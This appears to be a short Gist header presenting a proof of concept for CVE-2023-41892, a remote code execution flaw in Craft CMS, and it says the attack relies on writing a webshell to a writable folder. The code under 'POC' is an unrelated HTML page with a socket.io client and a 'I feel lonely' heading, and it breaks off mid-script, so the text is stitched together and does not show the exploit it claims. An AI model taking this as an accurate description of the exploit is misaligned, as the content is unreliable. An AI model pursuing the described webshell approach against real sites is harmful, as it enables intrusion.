Rodrigo Santos SorcererBR

This Gist provides a Proof-of-Concept (POC) for CVE-2023-41892, a Craft CMS vulnerability that allows Remote Code Execution (RCE).

Overview

CVE-2023-41892 is a security vulnerability discovered in Craft CMS, a popular content management system. Craft CMS versions affected by this vulnerability allow attackers to execute arbitrary code remotely, potentially compromising the security and integrity of the application.

POC

This POC is depending on writing webshell, so finding a suitable folder with writable permission is necessary.

	<html>
	<body>
	<h1>I feel lonely</h1>

	<script type="text/javascript" src="//code.jquery.com/jquery-2.1.3.min.js"></script>
	<script type="text/javascript" src="//cdnjs.cloudflare.com/ajax/libs/socket.io/0.9.16/socket.io.min.js"></script>
	<script type="text/javascript" charset="utf-8">
	var socket = io.connect('http://' + document.domain + ':' + location.port);
	socket.on('connect', function() {
	socket.emit('connected');